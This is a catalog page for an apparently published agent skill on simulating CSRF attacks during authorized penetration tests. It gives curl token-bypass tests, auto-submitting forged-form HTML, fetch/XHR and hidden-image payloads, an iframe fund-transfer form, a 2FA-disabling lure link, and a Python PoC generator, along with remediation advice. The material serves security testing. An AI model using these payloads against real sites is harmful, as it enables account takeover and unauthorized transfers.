
Performing Csrf Attack Simulation
- 173 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
performing-csrf-attack-simulation is a Claude Code skill in the AI & Agent Building category.
- performing-csrf-attack-simulation
- AI & Agent Building
- AI-coding skill
Performing Csrf Attack Simulation by the numbers
- 173 all-time installs (skills.sh)
- +21 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,104 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-csrf-attack-simulationAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 173 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Performing CSRF Attack Simulation
When to Use
- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
- When testing the effectiveness of anti-CSRF token implementations
- For validating SameSite cookie attribute enforcement across different browsers
- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
- During security audits of custom authentication and session management mechanisms
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With CSRF PoC generator functionality
- Web server: Local HTTP server for hosting CSRF PoC pages (Python
http.server) - Two browsers: One authenticated as victim, one as attacker
- Target application: Authenticated session with valid test credentials
- HTML/JavaScript knowledge: For crafting custom CSRF payloads
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify State-Changing Requests
Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.
# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)
# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validationStep 2: Analyze Anti-CSRF Token Implementation
Test the strength and enforcement of any CSRF protections present.
# Check if CSRF token is present
curl -s -b "session=abc123" \
"https://target.example.com/account/settings" | \
grep -i "csrf\|token\|_token"
# Test 1: Remove the CSRF token entirely
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 2: Send empty CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=previously_captured_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
-b "session=user_a_session" \
-d "email=test@evil.com&csrf_token=user_b_csrf_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"Step 3: Check SameSite Cookie and Header Protections
Verify browser-level and header-based CSRF defenses.
# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None
# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)
# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: " \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with evil Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: https://evil.example.com/attack" \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with spoofed Origin
curl -s -X POST \
-b "session=abc123" \
-H "Origin: https://evil.example.com" \
-d "email=test@evil.com" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"Step 4: Generate CSRF Proof-of-Concept with Burp Suite
Use Burp's built-in CSRF PoC generator for rapid testing.
# In Burp Suite:
# 1. Right-click the target request in Proxy > HTTP History
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to validate the PoC
# Burp generates HTML like:<!-- Auto-submitting CSRF PoC for form-encoded POST -->
<html>
<body>
<h1>Loading...</h1>
<form action="https://target.example.com/api/account/change-email"
method="POST" id="csrf-form">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>Step 5: Craft Advanced CSRF Payloads
For JSON APIs and other non-standard content types, use advanced techniques.
<!-- CSRF for JSON API using form with enctype -->
<html>
<body>
<form action="https://target.example.com/api/account/change-email"
method="POST"
enctype="text/plain"
id="csrf-form">
<input type="hidden"
name='{"email":"attacker@evil.com","ignore":"'
value='"}' />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
<!-- CSRF via XMLHttpRequest (requires permissive CORS) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
</script>
<!-- CSRF via fetch API -->
<script>
fetch("https://target.example.com/api/account/change-email", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "email=attacker@evil.com"
});
</script>
<!-- CSRF via image tag (GET-based state change) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
style="display:none" />
<!-- Multi-step CSRF with iframe -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="to_account" value="attacker-account" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>Step 6: Test and Validate the CSRF Attack
Host the PoC and confirm successful exploitation.
# Start a local web server to host the CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888
# PoC file structure:
# /tmp/csrf-poc/
# index.html <- CSRF PoC page
# change-email.html <- Email change CSRF
# transfer.html <- Fund transfer CSRF
# Testing steps:
# 1. Log in to target as victim user in Browser A
# 2. Open http://localhost:8888/change-email.html in Browser A
# 3. Check if the email was changed without victim's consent
# 4. Verify the state change in the application
# For SameSite=Lax bypass via top-level navigation:
# Use GET-based CSRF with window.open or anchor tag<!-- SameSite=Lax bypass using top-level navigation -->
<html>
<body>
<a href="https://target.example.com/api/settings?action=disable_2fa"
id="csrf-link">Click here for a prize!</a>
<script>
// Automatic click via social engineering context
// SameSite=Lax allows cookies on top-level GET navigations
</script>
</body>
</html>Key Concepts
| Concept | Description |
|---|---|
| CSRF | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |
| Anti-CSRF Token | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |
| SameSite Cookie | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |
| Origin Header | HTTP header indicating the origin of the request, used for CSRF validation |
| Referer Header | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |
| Double Submit Cookie | CSRF defense that compares a cookie value with a request parameter value |
| Synchronizer Token Pattern | Server generates and validates a unique token per session or per request |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | CSRF PoC generator and request analysis |
| OWASP ZAP | Anti-CSRF token detection and CSRF testing |
| XSRFProbe | Automated CSRF vulnerability scanner (pip install xsrfprobe) |
| Python http.server | Local web server for hosting CSRF PoC pages |
| Browser DevTools | Inspecting cookies, SameSite attributes, and network requests |
| CSRFTester (OWASP) | Legacy tool for crafting and testing CSRF attacks |
Common Scenarios
Scenario 1: Email Change Without CSRF Token
The email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.
Scenario 2: Fund Transfer with Token Bypass
The banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the csrf_token field from the transfer form allows cross-site fund transfer.
Scenario 3: JSON API CSRF via Content-Type Manipulation
A JSON API endpoint does not require a custom header. Using enctype="text/plain" in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.
Scenario 4: SameSite=Lax Bypass on GET State Change
A settings page changes state via GET request (/settings?disable_2fa=true). Since SameSite=Lax allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.
Output Format
## CSRF Vulnerability Finding
**Vulnerability**: Cross-Site Request Forgery (Email Change)
**Severity**: High (CVSS 8.0)
**Location**: POST /api/account/change-email
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Authenticate as victim at https://target.example.com
2. Host the following HTML on an attacker-controlled server
3. Trick victim into visiting the attacker page while authenticated
4. The victim's email is changed to attacker@evil.com without consent
### Anti-CSRF Defenses Tested
| Defense | Present | Enforced |
|---------|---------|----------|
| CSRF Token | No | N/A |
| SameSite Cookie | Lax | Partial (GET bypass) |
| Origin Validation | No | N/A |
| Referer Validation | No | N/A |
| Custom Header Required | No | N/A |
### Impact
- Account takeover via email change + password reset chain
- Unauthorized fund transfers
- Settings modification (2FA disable, notification change)
### Recommendation
1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
2. Set SameSite=Strict on session cookies where possible
3. Validate Origin and Referer headers as defense-in-depth
4. Require re-authentication for sensitive operations (password change, fund transfer)
5. Use custom request headers (X-Requested-With) for AJAX endpoints
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Performing CSRF Attack Simulation
HTTP Headers for CSRF Protection
| Header | Description |
|---|---|
Set-Cookie: SameSite=Strict | Prevents cookie from being sent in cross-site requests |
Set-Cookie: SameSite=Lax | Allows cookies on top-level GET navigations only |
X-CSRF-Token | Custom header carrying CSRF token |
Origin | Sent by browsers on cross-origin POST requests |
Referer | Indicates the source page of the request |
CSRF Token Patterns (HTML)
| Pattern | Framework |
|---|---|
<input name="csrf_token" value="..."> | Generic |
<input name="csrfmiddlewaretoken"> | Django |
<input name="authenticity_token"> | Ruby on Rails |
<input name="__RequestVerificationToken"> | ASP.NET |
<meta name="csrf-token" content="..."> | Rails/Laravel meta tag |
requests Library
| Method | Description |
|---|---|
session.get(url) | Fetch page to extract CSRF tokens |
session.post(url, data) | Submit form with/without CSRF token |
session.cookies | Access session cookies for SameSite analysis |
Key Libraries
- requests (
pip install requests): HTTP client with session cookie management - beautifulsoup4 (
pip install beautifulsoup4): Parse HTML forms and extract tokens - selenium (optional): Browser-based CSRF testing with full JS execution
PoC Generation
| Element | Purpose |
|---|---|
<form action="target" method="POST"> | Cross-origin form submission |
<input type="hidden"> | Pre-filled form parameters |
document.getElementById().submit() | Auto-submit on page load |
<img src="target?action=delete"> | GET-based CSRF via image tag |
OWASP Testing Guide
| Test ID | Description |
|---|---|
| WSTG-SESS-05 | Testing for Cross-Site Request Forgery |
References
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""
CSRF Attack Simulation Agent — AUTHORIZED TESTING ONLY
Tests web applications for Cross-Site Request Forgery vulnerabilities by
analyzing anti-CSRF protections and generating proof-of-concept payloads.
WARNING: Only use with explicit written authorization for the target application.
"""
import re
import sys
from datetime import datetime, timezone
from urllib.parse import urlparse
import requests
def analyze_csrf_protections(url: str, session: requests.Session = None) -> dict:
"""Analyze a page for CSRF protection mechanisms."""
if session is None:
session = requests.Session()
try:
resp = session.get(url, timeout=15)
except requests.RequestException as e:
return {"url": url, "error": str(e)}
result = {
"url": url,
"status_code": resp.status_code,
"csrf_tokens_found": [],
"samesite_cookies": [],
"custom_headers_required": False,
"protections": [],
"vulnerable": True,
}
token_patterns = [
r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)',
r'name=["\']_token["\'][^>]*value=["\']([^"\']+)',
r'name=["\']authenticity_token["\'][^>]*value=["\']([^"\']+)',
r'name=["\']__RequestVerificationToken["\'][^>]*value=["\']([^"\']+)',
r'name=["\']csrfmiddlewaretoken["\'][^>]*value=["\']([^"\']+)',
]
for pattern in token_patterns:
matches = re.findall(pattern, resp.text, re.IGNORECASE)
if matches:
result["csrf_tokens_found"].extend(matches)
result["protections"].append("CSRF token in form")
result["vulnerable"] = False
meta_pattern = r'<meta\s+name=["\']csrf-token["\'][^>]*content=["\']([^"\']+)'
meta_matches = re.findall(meta_pattern, resp.text, re.IGNORECASE)
if meta_matches:
result["csrf_tokens_found"].extend(meta_matches)
result["protections"].append("CSRF token in meta tag")
result["vulnerable"] = False
for cookie_name, cookie_value in resp.cookies.items():
cookie_header = resp.headers.get("Set-Cookie", "")
samesite = "none"
if "samesite=strict" in cookie_header.lower():
samesite = "strict"
elif "samesite=lax" in cookie_header.lower():
samesite = "lax"
result["samesite_cookies"].append({
"name": cookie_name,
"samesite": samesite,
})
if samesite in ("strict", "lax"):
result["protections"].append(f"SameSite={samesite} cookie: {cookie_name}")
if "x-csrf-token" in resp.headers.get("vary", "").lower():
result["custom_headers_required"] = True
result["protections"].append("Custom X-CSRF-Token header required")
result["vulnerable"] = False
return result
def find_state_changing_forms(url: str, session: requests.Session = None) -> list[dict]:
"""Identify forms that perform state-changing actions (POST, PUT, DELETE)."""
if session is None:
session = requests.Session()
resp = session.get(url, timeout=15)
form_pattern = re.compile(
r'<form[^>]*>(.*?)</form>', re.DOTALL | re.IGNORECASE
)
action_pattern = re.compile(r'action=["\']([^"\']*)', re.IGNORECASE)
method_pattern = re.compile(r'method=["\']([^"\']*)', re.IGNORECASE)
input_pattern = re.compile(
r'<input[^>]*name=["\']([^"\']+)["\'][^>]*(?:type=["\']([^"\']*)["\'])?',
re.IGNORECASE,
)
forms = []
for match in form_pattern.finditer(resp.text):
form_html = match.group(0)
action = action_pattern.search(form_html)
method = method_pattern.search(form_html)
inputs = input_pattern.findall(form_html)
method_val = method.group(1).upper() if method else "GET"
if method_val in ("POST", "PUT", "DELETE", "PATCH"):
form_data = {
"action": action.group(1) if action else url,
"method": method_val,
"inputs": [{"name": i[0], "type": i[1] or "text"} for i in inputs],
"has_csrf_token": any(
"csrf" in i[0].lower() or "token" in i[0].lower()
for i in inputs
),
}
forms.append(form_data)
return forms
def generate_csrf_poc(target_url: str, method: str, params: dict, auto_submit: bool = True) -> str:
"""Generate CSRF proof-of-concept HTML page."""
input_fields = "\n".join(
f' <input type="hidden" name="{k}" value="{v}" />'
for k, v in params.items()
)
auto_js = """
<script>
document.getElementById('csrf-form').submit();
</script>""" if auto_submit else ""
parsed = urlparse(target_url)
return f"""<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC - {parsed.hostname}</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<p>Target: {target_url}</p>
<form id="csrf-form" action="{target_url}" method="{method}">
{input_fields}
<input type="submit" value="Submit" />
</form>
{auto_js}
</body>
</html>"""
def test_csrf_token_validation(url: str, session: requests.Session) -> dict:
"""Test if CSRF token validation can be bypassed."""
bypass_results = []
resp = session.get(url, timeout=15)
token_match = re.search(
r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)',
resp.text, re.IGNORECASE,
)
if token_match:
original_token = token_match.group(1)
test_resp = session.post(url, data={"csrf_token": ""}, timeout=15)
bypass_results.append({
"test": "Empty token",
"status": test_resp.status_code,
"bypassed": test_resp.status_code < 400,
})
test_resp = session.post(url, data={}, timeout=15)
bypass_results.append({
"test": "Missing token parameter",
"status": test_resp.status_code,
"bypassed": test_resp.status_code < 400,
})
test_resp = session.post(url, data={"csrf_token": "invalid_token_value"}, timeout=15)
bypass_results.append({
"test": "Invalid token value",
"status": test_resp.status_code,
"bypassed": test_resp.status_code < 400,
})
return {"url": url, "bypass_tests": bypass_results}
def generate_report(analysis: list[dict], forms: list[dict], bypass: list[dict]) -> str:
"""Generate CSRF testing report."""
lines = [
"CSRF ATTACK SIMULATION REPORT — AUTHORIZED TESTING ONLY",
"=" * 60,
f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}",
"",
f"Endpoints Analyzed: {len(analysis)}",
f"State-Changing Forms: {len(forms)}",
f"Vulnerable: {sum(1 for a in analysis if a.get('vulnerable', False))}",
"",
"ENDPOINT ANALYSIS:",
"-" * 40,
]
for a in analysis:
status = "VULNERABLE" if a.get("vulnerable") else "PROTECTED"
lines.append(f" [{status}] {a.get('url', 'N/A')}")
for prot in a.get("protections", []):
lines.append(f" Protection: {prot}")
if forms:
lines.extend(["", "STATE-CHANGING FORMS:"])
for f in forms:
csrf = "YES" if f["has_csrf_token"] else "NO"
lines.append(f" {f['method']} {f['action']} (CSRF token: {csrf})")
return "\n".join(lines)
if __name__ == "__main__":
print("[!] CSRF ATTACK SIMULATION — AUTHORIZED TESTING ONLY\n")
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [additional_paths...]")
sys.exit(1)
target_url = sys.argv[1]
paths = sys.argv[2:] if len(sys.argv) > 2 else ["/", "/login", "/settings", "/account"]
session = requests.Session()
analysis_results = []
all_forms = []
for path in paths:
url = f"{target_url.rstrip('/')}/{path.lstrip('/')}"
print(f"[*] Analyzing {url}...")
result = analyze_csrf_protections(url, session)
analysis_results.append(result)
forms = find_state_changing_forms(url, session)
all_forms.extend(forms)
report = generate_report(analysis_results, all_forms, [])
print(report)
vulnerable = [a for a in analysis_results if a.get("vulnerable")]
if vulnerable:
poc = generate_csrf_poc(vulnerable[0]["url"], "POST", {"action": "test"})
with open("csrf_poc.html", "w") as f:
f.write(poc)
print("\n[*] PoC saved to csrf_poc.html")